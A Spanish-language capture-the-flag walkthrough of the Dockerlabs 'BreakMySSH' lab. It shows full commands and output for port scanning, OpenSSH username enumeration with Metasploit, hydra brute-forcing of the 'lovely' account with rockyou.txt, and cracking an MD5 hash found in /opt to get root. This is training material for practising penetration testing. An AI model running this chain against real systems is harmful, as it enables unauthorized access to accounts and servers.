HBreakMySSH es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Muy Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-12 01:23 CEST Initiating ARP Ping Scan at 01:23 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 01:23, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 01:23 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 01:23, 0.93s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-05-12 01:23:19 CEST for 1s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.2 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-12 01:23 CEST Nmap scan report for 172.17.0.2 Host is up (0.000062s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA) | 256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA) |_ 256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519) 80/tcp closed http MAC Address: 02:42:AC:11:00:02 (Unknown) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds |
Viendo la versión de ssh , vemos si searchsploit tiene algo que decirnos
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ searchsploit openssh 7.7 ---------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------- --------------------------------- OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results |
Por tema de python2 y demás, vamos a usar en esta ocasión metasploit
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
└─$ msfconsole / s%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% %%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% %%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% %%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% %%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% =[ metasploit v6.3.31-dev ] + -- --=[ 2346 exploits - 1220 auxiliary - 413 post ] + -- --=[ 1390 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Use the analyze command to suggest runnable modules for hosts Metasploit Documentation: https://docs.metasploit.com/ sh 7.7msf6 > use auxiliary/scanner/ssh/ssh_enumusers msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options Module options (auxiliary/scanner/ssh/ssh_enumusers): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_FALSE true no Check for false positives (random username) DB_ALL_USERS false no Add all users in the current database to the list Proxies no A proxy chain of format type:host:port[,type:host:port ][...] RHOSTS 172.17.0.2 yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) THRESHOLD 10 yes Amount of seconds needed before a user is considered f ound (timing attack only) USERNAME no Single username to test (username spray) USER_FILE /home/kali/SecLists/Usernames/x no File containing usernames, one per line ato-net-10-million-usernames.tx t Auxiliary action: Name Description ---- ----------- Malformed Packet Use a malformed packet View the full module info with the info, or info -d command. msf6 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 172.17.0.2:22 - SSH - Using malformed packet technique [*] 172.17.0.2:22 - SSH - Checking for false positives [*] 172.17.0.2:22 - SSH - Starting scan [+] 172.17.0.2:22 - SSH - User 'mail' found [+] 172.17.0.2:22 - SSH - User 'root' found [+] 172.17.0.2:22 - SSH - User 'news' found [+] 172.17.0.2:22 - SSH - User 'man' found [+] 172.17.0.2:22 - SSH - User 'bin' found [+] 172.17.0.2:22 - SSH - User 'games' found [+] 172.17.0.2:22 - SSH - User 'nobody' found [+] 172.17.0.2:22 - SSH - User 'lovely' found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options |
Vemos un posible usuario en el sistema, lovely, así que intentamos con hydra ver si podemos encontrar su contraseña
|
1 2 3 4 5 6 7 8 9 10 11 |
┌──(kali㉿kali)-[~] └─$ hydra -l lovely -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 01:29:21 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://172.17.0.2:22/ [22][ssh] host: 172.17.0.2 login: lovely password: rockyou 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 01:29:55 |
Entramos en la maquina con el usuario lovely
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(kali㉿kali)-[~] └─$ ssh lovely@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. lovely@172.17.0.2's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. lovely@8dbb1fd7e58b:~$ |
Tras no ver nada de primeras, vamos a /opt por si tenemos algo y vemos un archivo oculto.
|
1 2 3 4 5 6 7 |
lovely@8dbb1fd7e58b:/opt$ ls -ltra /opt total 12 -rw-r--r-- 1 root root 33 May 11 21:44 .hash drwxr-xr-x 1 root root 4096 May 11 21:44 . drwxr-xr-x 1 root root 4096 May 11 23:23 .. lovely@8dbb1fd7e58b:/opt$ cat .hash aa87ddc5b4c24406d26ddad771ef44b0 |
Pasamos el hash por crackstation.net y nos la descifra
Sera la password de root? Probamos
|
1 2 3 |
lovely@8dbb1fd7e58b:/opt$ su root Password: root@8dbb1fd7e58b:/opt# |
Y somos root!!
Y hasta aquí la maquina de Breakmyssh de la plataforma Dockerlabs!
